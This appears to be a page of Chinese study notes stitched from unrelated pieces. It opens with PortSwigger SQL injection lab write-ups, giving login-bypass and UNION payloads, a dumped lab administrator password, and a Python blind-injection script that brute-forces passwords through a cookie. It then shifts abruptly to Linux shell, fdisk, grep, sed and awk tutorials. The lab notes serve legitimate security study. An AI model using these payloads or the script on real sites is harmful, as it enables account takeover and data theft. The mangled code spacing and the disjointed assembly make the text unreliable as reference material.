SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
这个是查看隐藏数据的漏洞,比较简单。通过BurpSuite直接拦截修改就行。
之所以能隐藏信息是因为后端的查询语句是
1
SELECT*FROM products WHERE category ='Gifts'AND released =1
因此通过我们的修改注释掉了AND released = 1
思考:
首先对后端查询语句要有一定敏感程度,另外如果AND后的语句在前是否就避免了这个漏洞呢?
SQL injection vulnerability allowing login bypass
这个也非常简单,注释掉password就可以登录任意用户了。
思考:
对之前挖的几个平台做了一下尝试,没出意外都失败了。果然这么简单的洞不太好遇见。
SQL injection UNION attack, determining the number of columns returned by the query
这个使用?category=Accessones' order by 3--时不报错,使用?category=Accessones' order by 4--时报错,说明返回列有三个。但是不能直接过关,需要使用'?category=Accessones'UNION SELECT NULL,NULL,NULL--过关
我们可以看到,虽然执行order by 4的时候报错,但是报错代码为500说明还是执行了的。在portswigger中提到:
As with the ORDER BY technique, the application might actually return the database error in its HTTP response, but may return a generic error or simply return no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. In the worst case, the response might look the same as a response caused by an incorrect number of nulls. This would make this method ineffective.
SQL injection UNION attack, finding a column containing text
让找哪个列支持查找字符串,找出一共多少列以后,挨个试试就可以了
1
'+UNION+SELECT+'abcdef',NULL,NULL--
1 2 3 4 5
?category=Accessories' union select null,'Y5LIpq',null--+ 或者 ?category=Accessories%'unionselectnull,'Y5LIpq',null--+ 或者 ?category=Accessories' and 1=2 union select null,'Y5LIpq',null--+
SQL injection UNION attack, retrieving data from other tables
?category=Gifts' union select null,table_name from information_schema.tables--+ 列:username,password ?category=Gifts'unionselectnull,column_name from information_schema.columns where table_name='users'--+
数据:administrator===lcv555mv2prf2m81w40v ?category=Gifts' union select null,concat(username,'===',password) from users--+ 利用administrator登录
SQL injection attack, querying the database type and version on MySQL and Microsoft
#cookie获取密码长度get_password_length_by_user defget_password_length_by_user(url,username,tablename,intject_id): for i inrange(100): cookies = { 'TrackingId': f"{intject_id}' and (select 'a' from users where username='{username}' AND LENGTH(password)>{i})='a' --+" } response = requests.request(url=url,method=method,cookies=cookies) sleep(sleep_time) if'Welcome back!'in response.text: continue else: password_length=i return password_length break
#爆破某一用户名密码 defget_password_by_user(url,username,tablename,inject_id): result='' password_length=get_password_length_by_user(url,username,tablename,inject_id) for password_index inrange(1, password_length+1): ascii_low = 32 ascii_high = 128 ascii_mid=(ascii_low+ascii_high)//2 while ascii_low < ascii_high: cookies = { 'TrackingId': f"{inject_id}' and ascii(substr((select password from {tablename} where username='{username}'),{password_index},1)) > {ascii_mid}--+;" } response = requests.request(url=url,method=method,cookies=cookies) sleep(sleep_time) if'Welcome back!'in response.text: ascii_low=ascii_mid+1 else: ascii_high = ascii_mid ascii_mid=(ascii_low+ascii_high)//2 result+=chr(ascii_mid) return result password=get_password_by_user( url,username,tablename,TrackingId) print(password)
python@ubuntu:~/test$ printf"a string, no processing:<%s>\n""A\nB" a string, no processing:<A\nB> python@ubuntu:~/test$ printf"a string, no processing:<%b>\n""A\nB" a string, no processing:<A B> python@ubuntu:~/test$ printf"www.runoob.com \a" www.runoob.com python@ubuntu:~/test$
if [ $a -eq $b ] then echo"$a -eq $b : a 等于 b" else echo"$a -eq $b: a 不等于 b" fi if [ $a -ne $b ] then echo"$a -ne $b: a 不等于 b" else echo"$a -ne $b : a 等于 b" fi if [ $a -gt $b ] then echo"$a -gt $b: a 大于 b" else echo"$a -gt $b: a 不大于 b" fi if [ $a -lt $b ] then echo"$a -lt $b: a 小于 b" else echo"$a -lt $b: a 不小于 b" fi if [ $a -ge $b ] then echo"$a -ge $b: a 大于或等于 b" else echo"$a -ge $b: a 小于 b" fi if [ $a -le $b ] then echo"$a -le $b: a 小于或等于 b" else echo"$a -le $b: a 大于 b" fi
执行脚本,输出结果如下所示:
1 2 3 4 5 6
10 -eq 20: a 不等于 b 10 -ne 20: a 不等于 b 10 -gt 20: a 不大于 b 10 -lt 20: a 小于 b 10 -ge 20: a 小于 b 10 -le 20: a 小于或等于 b
if [ $a = $b ] then echo"$a = $b : a 等于 b" else echo"$a = $b: a 不等于 b" fi if [ $a != $b ] then echo"$a != $b : a 不等于 b" else echo"$a != $b: a 等于 b" fi if [ -z $a ] then echo"-z $a : 字符串长度为 0" else echo"-z $a : 字符串长度不为 0" fi if [ -n "$a" ] then echo"-n $a : 字符串长度不为 0" else echo"-n $a : 字符串长度为 0" fi if [ $a ] then echo"$a : 字符串不为空" else echo"$a : 字符串为空" fi
执行脚本,输出结果如下所示:
1 2 3 4 5
abc = efg: a 不等于 b abc != efg : a 不等于 b -z abc : 字符串长度不为 0 -n abc : 字符串长度不为 0 abc : 字符串不为空
file="/var/www/runoob/test.sh" if [ -r $file ] then echo"文件可读" else echo"文件不可读" fi if [ -w $file ] then echo"文件可写" else echo"文件不可写" fi if [ -x $file ] then echo"文件可执行" else echo"文件不可执行" fi if [ -f $file ] then echo"文件为普通文件" else echo"文件为特殊文件" fi if [ -d $file ] then echo"文件是个目录" else echo"文件不是个目录" fi if [ -s $file ] then echo"文件不为空" else echo"文件为空" fi if [ -e $file ] then echo"文件存在" else echo"文件不存在" fi
执行脚本,输出结果如下所示:
1 2 3 4 5 6 7
文件可读 文件可写 文件可执行 文件为普通文件 文件不是个目录 文件不为空 文件存在
test命令
Shell中的 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。
数值测试
参数
说明
-eq
等于则为真
-ne
不等于则为真
-gt
大于则为真
-ge
大于等于则为真
-lt
小于则为真
-le
小于等于则为真
实例演示:
1 2 3 4 5 6 7 8
num1=100 num2=100 iftest $[num1] -eq $[num2] then echo'两个数相等!' else echo'两个数不相等!' fi
for i in {1..9};do for((j=1;j<=i;j++));do echo -en "$i*$j=$(($i*$j))\t" done echo"" done
for a in {1..9};do for b in {0..9};do for c in {0..9};do number1=$((a*100+b*10+c)) number2=$((a**3+b**3+c**3)) iftest$number1 -eq $number2; then echo"Found number $number1" fi done done done
DOS (MBR) a toggle a bootable flag b edit nested BSD disklabel c toggle the dos compatibility flag
Generic d delete a partition<==删除一个partition F list free unpartitioned space l list known partition types n add a newpartition<==新增一个partition p print the partitiontable<==在屏幕上显示分割表 t change a partition type v verify the partitiontable i print information about a partition
Misc m print this menu u change display/entry units x extra functionality (experts only)
Script I load disk layout from sfdisk script file O dump disk layout to sfdisk script file
Save & Exit w write tableto disk and exit <==将刚刚的动作写入分割表 q quit without saving changes <==不储存离开fdisk程序
Create a new label g create a newempty GPT partitiontable G create a newempty SGI (IRIX) partitiontable o create a newempty DOS partitiontable s create a newempty Sun partitiontable
离开 fdisk 时按下 q,那么所有的动作都不会生效!相反的, 按下w就是动作生效的意思。
这个是我的本地虚拟机:
1 2 3 4 5 6 7 8
Command (m forhelp): p <== 这里可以输出目前磁盘的状态 Disk /dev/mapper/rl-root: 70 GiB, 75161927680 bytes, 146800640 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xbb210c3d Command (m forhelp): q
[root@www ~]# mkfs -t ext3 /dev/hdc6 mke2fs 1.39 (29-May-2006) Filesystem label= <==这里指的是分割槽的名称(label) OS type: Linux Block size=4096 (log=2) <==block 的大小配置为 4K Fragment size=4096 (log=2) 251392 inodes, 502023 blocks <==由此配置决定的inode/block数量 25101 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=515899392 16 block groups 32768 blocks per group, 32768 fragments per group 15712 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912
This filesystem will be automatically checked every 34 mounts or 180 days, whichever comes first. Use tune2fs -c or -i to override. # 这样就创建起来我们所需要的 Ext3 文件系统了!简单明了! 1234567891011121314151617181920212223
[root@rocky8:/]# nl /etc/issue 1 \S 2 Kernel \r on an \m
分屏显示:more、less
1 2 3 4 5 6 7 8
[root@rocky8:/]# more /etc/man_db.config # # Generated automatically from man.conf.in by the # configure script. # # man.conf from man-1.6d ....(中间省略).... --More--(28%) <== 光标在这里等待命令
more运行时可以输入的命令有:
空白键 (space):代表向下翻一页;
Enter :代表向下翻『一行』;
/字串 :代表在这个显示的内容当中,向下搜寻『字串』这个关键字;
:f :立刻显示出档名以及目前显示的行数;
q :代表立刻离开 more ,不再显示该文件内容。
b 或 [ctrl]-b :代表往回翻页,不过这动作只对文件有用,对管线无用。
1 2 3 4 5 6 7 8
[root@rocky8:/]# less /etc/man.config # # Generated automatically from man.conf.in by the # configure script. # # man.conf from man-1.6d ....(中间省略).... : <== 这里可以等待你输入命令!
Options: -v, --verbose explain what is being done -s, --symlink act on the target of symlinks -n, --no-act do not make any changes -o, --no-overwrite don't overwrite existing files -h, --help display this help -V, --version display version For more details see rename(1).
在当前目录中,查找前缀有test字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
1 2 3 4
$ grep testtest* #查找前缀有test的文件包含test字符串的文件 testfile1:This a Linux testfile! #列出testfile1 文件中包含test字符的行 testfile_2:This is a linux testfile! #列出testfile_2 文件中包含test字符的行 testfile_2:Linux test#列出testfile_2 文件中包含test字符的行
$ grep -r update /etc/acpi #以递归的方式查找“etc/acpi” #下包含“update”的文件 /etc/acpi/ac.d/85-anacron.sh:# (Things like the slocate updatedb cause a lot of IO.) Rather than /etc/acpi/resume.d/85-anacron.sh:# (Things like the slocate updatedb cause a lot of IO.) Rather than /etc/acpi/events/thinkpad-cmos:action=/usr/sbin/thinkpad-keys--update
反向查找。前面各个例子是查找并打印出符合条件的行,通过"-v"参数可以打印出不符合条件行的内容。
查找文件名中包含 test 的文件中不包含test 的行,此时,使用的命令为:
1 2 3 4 5 6 7 8 9
$ grep -v test* #查找文件名中包含test 的文件中不包含test 的行 testfile1:helLinux! testfile1:Linis a free Unix-type operating system. testfile1:Lin testfile_1:HELLO LINUX! testfile_1:LINUX IS A FREE UNIX-TYPE OPTERATING SYSTEM. testfile_1:THIS IS A LINUX TESTFILE! testfile_2:HELLO LINUX! testfile_2:Linux is a free unix-type opterating system.
python@xxx:~/test$ echo "hello world"|tee f1 f2 hello world python@xxx:~/test$ cat f1 hello world python@xxx:~/test$ echo "hello world"|tee f1 f2 -a hello world python@xxx:~/test$ cat f1 hello world hello world 123456789
[root@rocky8:Corazon]# cat a LINUX! Linux is a free unix-type opterating system. This is a linux testfile! Linux test
[root@rocky8:Corazon]# sed -e 2a\newline a LINUX! Linux is a free unix-type opterating system. newline This is a linux testfile! Linux test
默认情况下-e参数可以省略:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
[root@rocky8:Corazon]# cat a | sed '2a\newline' LINUX! Linux is a free unix-type opterating system. newline This is a linux testfile! Linux test [root@rocky8:~]# sed 2a\newline a NUX! Linux is a free unix-type opterating system. newline This is a linux testfile! Linux test [root@rocky8:Corazon]# sed '2a newline' a LINUX! Linux is a free unix-type opterating system. newline This is a linux testfile! Linux test
在第二行之前添加一行:
1 2 3 4 5 6
[root@rocky8:Corazon]# sed '2i newline' a LINUX! newline Linux is a free unix-type opterating system. This is a linux testfile! Linux test
最后一行加入 # This is a test:
1 2 3 4 5 6 7
[root@rocky8:Corazon]# sed '$a # This is a test' a LINUX! Linux is a free unix-type opterating system. This is a linux testfile! Linux test
# This is a test
同时添加多行:
1 2 3 4 5 6 7 8
[root@rocky8:Corazon]# cat a|sed '2a\newline1\ > newline2' LINUX! Linux is a free unix-type opterating system. newline1 newline2 This is a linux testfile! Linux test
[root@rocky8:~]# cat /etc/passwd | sed '/^root/,/^bin/s/$/--sed test/' root:x:0:0:root:/root:/bin/bash--sed test daemon:x:2:2:daemon:/sbin:/sbin/nologin--sed test bin:x:1:1:bin:/bin:/sbin/nologin--sed test adm:x:3:4:adm:/var/adm:/sbin/nologin ......
y:单字符替换
跟s一样也用于替换,不过s替换的是整体,y替换的是每一字母对应的单个字母
把data中的第一行至第三行中的a替换成A,b替换成B,c替换成C:
1
sed '1,3y/abc/ABC/' data
示例:
1 2 3 4
[root@rocky8:~]# echo"123" | sed 'y/13/34/' 324 [root@rocky8:~]# echo"axxbxxcxx" | sed 'y/abc/123/' 1xx2xx3xx
-F fs or --field-separator fs 指定输入文件折分隔符,fs是一个字符串或者是一个正则表达式,如-F:。
-v var=value or --asign var=value 赋值一个用户定义变量。
-f scripfile or --file scriptfile 从脚本文件中读取awk命令。
基本用法
1
awk '{[pattern] action}' file
每行按空格或TAB分割,使用print输出文本中的1、4列:
1 2 3 4 5 6 7 8 9 10
[root@rocky8:~]# catlog 2 this is a test 3 Are you like awk This's a test 10 There are orange,apple,mongo [root@rocky8:~]# awk '{print$1,$4}' log 2 a 3 like This's 10 orange,apple,mongo
使用printf格式化输出:
1 2 3 4 5
[root@rocky8:~]# awk '{printf "%-8s %-10s\n",$1,$4}'log 2 a 3 like This's 10 orange,apple,mongo
[root@rocky8:~]# awk -F '[:\/]''{print $1,$7}' /etc/passwd awk: warning: escape sequence `\/' treated as plain `/' root root daemon sbin bin bin ......
-v设置变量
1
awk -v # 设置变量
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
[root@rocky8:~]# catlog 2 this is a test 3 Are you like awk This's a test 10 There are orange,apple,mongo [root@rocky8:~]# awk -va=1 '{print$1,$1+a}' log 2 3 3 4 This's 1 10 11 [root@rocky8:~]# awk -va=1 -vb=s '{print $1,$1+a,$1b}'log 2 3 2s 3 4 3s This's 1 This'ss 10 11 10s
-f指定awk脚本
1
awk -f {awk脚本} {文件名}
脚本模块:
BEGIN{ 这里面放的是执行前的语句 }
END {这里面放的是处理完所有的行后要执行的语句 }
{这里面放的是处理每一行时要执行的语句}
假设有这么一个文件(学生成绩表):
1 2 3 4 5 6
[root@rocky8:~]# cat score Marry 2143 78 84 77 Jack 2321 66 78 45 Tom 2122 48 77 71 Mike 2537 87 97 95 Bob 2415 40 57 62
[root@rocky8:~]# awk '{print NR,FNR,$1,$2,$3}'log 1 1 2 this is 2 2 3 Are you 3 3 This's a test 4 4 10 There are
指定输出分割符
1 2 3 4 5 6 7 8 9 10 11
python@ubuntu:~/test$ cat log.txt 2 this is a test 3Are you like awk This's a test 10 There are orange,apple,mongo python@ubuntu:~/test$ awk '{print $1,$2,$5}' OFS=" $ " log.txt 2 $ this $ test 3 $ Are $ awk This's $ a $ 10$ There$ 12345678910
忽略大小写
1 2 3 4 5
$ awk 'BEGIN{IGNORECASE=1} /this/' log.txt --------------------------------------------- 2 this is a test This's a test 1234
[root@rocky8:~]# awk '$2 ~ /th/ {print $2,$4}'log this a
输出包含"re"的行:
1 2 3
[root@rocky8:~]# awk '/re/ {print $0}'log 3 Are you like awk 10 There are orange,apple,mongo
!表示取反
输出第二列不包含 “th”,并打印第二列与第四列:
1 2 3 4
[root@rocky8:~]# awk '$2 !~ /th/ {print $0}'log 3 Are you like awk This's a test 10 There are orange,apple,mongo
输出不包含"re"的行:
1 2 3
[root@rocky8:~]# awk '!/re/ {print $0}'log 2 this is a test This's a test
一些实例
计算文件大小
1 2
[root@rocky8:~]# ls -l | awk '{sum+=$5}END{printsum}' 1066
从文件中找出长度大于80的行
1
awk 'length>80'log
1 2 3 4 5 6 7 8 9
[root@rocky8:~]# seq 100|sed ":a;N;s/\n//g;ta" >> log [root@rocky8:~]# catlog 2 this is a test 3 Are you like awk This's a test 10 There are orange,apple,mongo 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100 [root@rocky8:~]# awk 'length>80' log 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100
打印九九乘法表
1
seq 9 | sed 'H;g' | awk -v RS='''{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}'
$ awk 'BEGIN { a=30; if (a==10) print "a = 10"; else if (a == 20) print "a = 20"; else if (a == 30) print "a = 30"; }'
输出结果:
1 2 3 4 5 6 7 8 9 10
[root@rocky8:~]# awk 'BEGIN { > a=30; > if (a==10) > print "a = 10"; > else if (a == 20) > print "a = 20"; > else if (a == 30) > print "a = 30"; > }' a = 30
循环语句For&While
For 循环的语法如下:
1 2
for (initialisation; condition; increment/decrement) action
下面的例子使用 For 循环输出数字 1 至 5:
1 2 3 4 5 6
python@ubuntu:~/test$ awk 'BEGIN { for (i = 1; i <= 5; ++i) print i }' 1 2 3 4 5
$ awk 'BEGIN { sum = 0; for (i = 0; i < 20; ++i) { sum += i; if (sum > 50) break; else print "Sum =", sum } }'
输出结果为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
python@ubuntu:~/test$ awk 'BEGIN { > sum = 0; for (i = 0; i < 20; ++i) { > sum += i; if (sum > 50) break; else print "Sum =", sum > } > }' Sum = 0 Sum = 1 Sum = 3 Sum = 6 Sum = 10 Sum = 15 Sum = 21 Sum = 28 Sum = 36 Sum = 45
Continue 语句用于在循环体内部结束本次循环,从而直接进入下一次循环迭代。
下面的例子输出 1 到 20 之间的偶数:
1 2 3 4 5 6 7 8 9 10 11
python@ubuntu:~/test$ awk 'BEGIN {for (i = 1; i <= 20; ++i) {if (i % 2 == 0) print i ; else continue} }' 2 4 6 8 10 12 14 16 18 20
Exit 用于结束脚本程序的执行。
该函数接受一个整数作为参数表示 AWK 进程结束状态。 如果没有提供该参数,其默认状态为 0。
下面例子中当和大于 50 时结束 AWK 程序。
1 2 3 4 5
$ awk 'BEGIN { sum = 0; for (i = 0; i < 20; ++i) { sum += i; if (sum > 50) exit(10); else print "Sum =", sum } }'
输出结果为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
python@ubuntu:~/test$ awk 'BEGIN { > sum = 0; for (i = 0; i < 20; ++i) { > sum += i; if (sum > 50) exit(10); else print "Sum =", sum > } > }' Sum = 0 Sum = 1 Sum = 3 Sum = 6 Sum = 10 Sum = 15 Sum = 21 Sum = 28 Sum = 36 Sum = 45 python@ubuntu:~/test$ echo $? 10
# 返回最小值 function find_min(num1, num2) { if (num1 < num2) return num1 return num2 }
# 返回最大值 function find_max(num1, num2) { if (num1 > num2) return num1 return num2 }
# 主函数 function main(num1, num2) { # 查找最小值 result = find_min(10, 20) print"Minimum =", result
# 查找最大值 result = find_max(10, 20) print"Maximum =", result }
# 脚本从这里开始执行 BEGIN { main(10, 20) }
执行 functions.awk 文件,可以得到如下的结果:
1 2 3
$ awk -f functions.awk Minimum = 10 Maximum = 20
AWK 内置函数
AWK 内置函数主要有以下几种:
算数函数
字符串函数
时间函数
位操作函数
其它函数
算数函数
函数名
说明
实例
atan2( y, x )
返回 y/x 的反正切。
$ awk 'BEGIN { PI = 3.14159265 x = -10 y = 10 result = atan2 (y,x) * 180 / PI; printf "The arc tangent for (x=%f, y=%f) is %f degrees\n", x, y, result }'输出结果为:The arc tangent for (x=-10.000000, y=10.000000) is 135.000000 degrees
cos( x )
返回 x 的余弦;x 是弧度。
$ awk 'BEGIN { PI = 3.14159265 param = 60 result = cos(param * PI / 180.0); printf "The cosine of %f degrees is %f.\n", param, result }'输出结果为:The cosine of 60.000000 degrees is 0.500000.
sin( x )
返回 x 的正弦;x 是弧度。
$ awk 'BEGIN { PI = 3.14159265 param = 30.0 result = sin(param * PI /180) printf "The sine of %f degrees is %f.\n", param, result }'输出结果为:The sine of 30.000000 degrees is 0.500000.
exp( x )
返回 x 幂函数。
$ awk 'BEGIN { param = 5 result = exp(param); printf "The exponential value of %f is %f.\n", param, result }'输出结果为:The exponential value of 5.000000 is 148.413159.
log( x )
返回 x 的自然对数。
$ awk 'BEGIN { param = 5.5 result = log (param) printf "log(%f) = %f\n", param, result }'输出结果为:log(5.500000) = 1.704748
sqrt( x )
返回 x 平方根。
$ awk 'BEGIN { param = 1024.0 result = sqrt(param) printf "sqrt(%f) = %f\n", param, result }'输出结果为:sqrt(1024.000000) = 32.000000
int( x )
返回 x 的截断至整数的值。
$ awk 'BEGIN { param = 5.12345 result = int(param) print "Truncated value =", result }'输出结果为:Truncated value = 5
$ awk 'BEGIN { str = "One Two Three" subs = "Two" ret = index(str, subs) printf "Substring \"%s\" found at %d location.\n", subs, ret }'输出结果为:Substring "Two" found at 5 location.
$ awk 'BEGIN { str = "One Two Three" subs = "Two" ret = match(str, subs) printf "Substring \"%s\" found at %d location.\n", subs, ret }'输出结果为:Substring "Two" found at 5 location.
split( String, A, [Ere] )
将 String 参数指定的参数分割为数组元素 A[1], A[2], . . ., A[n],并返回 n 变量的值。此分隔可以通过 Ere 参数指定的扩展正则表达式进行,或用当前字段分隔符(FS 特殊变量)来进行(如果没有给出 Ere 参数)。除非上下文指明特定的元素还应具有一个数字值,否则 A 数组中的元素用字符串值来创建。
$ awk 'BEGIN { str = "One,Two,Three,Four" split(str, arr, ",") print "Array contains following values" for (i in arr) { print arr[i] } }'输出结果为:Array contains following values One Two Three Four
$ awk 'BEGIN { print "Decimal num = " strtonum("123") print "Octal num = " strtonum("0123") print "Hexadecimal num = " strtonum("0x123") }'输出结果为:Decimal num = 123 Octal num = 83 Hexadecimal num = 291
**注:**Ere 部分可以是正则表达式。
1、gsub、sub 使用
1 2
$ awk 'BEGIN{info="this is a test2012test!";gsub(/[0-9]+/,"||",info);print info}' this is a test||test!
2、查找字符串(index 使用)
使用了三元运算符: 表达式 ? 动作1 : 动作2
1 2 3 4 5 6
$ awk 'BEGIN{info="this is a test2012test!";print index(info,"11111")?"ok":"no found";}' no found $ awk 'BEGIN{info="this is a test2012test!";print index(info,"is")?"ok":"no found";}' ok $ awk 'BEGIN{info="this is a test2012test!";print index(info,"test")?"ok":"no found";}' ok
3、正则表达式匹配查找(match 使用)
1 2
$ awk 'BEGIN{info="this is a test2012test!";print match(info,/[0-9]+/)?"ok":"no found";}' ok
4、截取字符串(substr使用)
从第 4 个 字符开始,截取 10 个长度字符串。
1 2
$ awk 'BEGIN{info="this is a test2012test!";print substr(info,4,10);}' s is a tes
5、字符串分割(split使用)
1 2 3 4 5 6
$ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}' 4 2 is 3 a 4 test 1 this
分割 info,将 info 字符串使用空格切分为动态数组 tA。注意 awk for …in 循环,是一个无序的循环。 并不是从数组下标 1…n ,因此使用时候需要特别注意。
时间函数
函数名
说明
实例
mktime( YYYY MM DD HH MM SS[ DST])
生成时间格式
$ awk 'BEGIN { print "Number of seconds since the Epoch = " mktime("2014 12 14 30 20 10") }'输出结果为:Number of seconds since the Epoch = 1418604610
$ awk 'BEGIN { arr[0] = "One" arr[1] = "Two" arr[2] = "Three" arr[3] = "Four" print "Array elements before delete operation:" for (i in arr) { print arr[i] } delete arr[0] delete arr[1] print "Array elements after delete operation:" for (i in arr) { print arr[i] } }'输出结果为:Array elements before delete operation: One Two Three Four Array elements after delete operation: Three Four
exit
终止脚本执行,它可以接受可选的参数 expr 传递 AWK 返回状态。
$ awk 'BEGIN { print "Hello, World !!!" exit 10 print "AWK never executes this statement." }'输出结果为:Hello, World !!!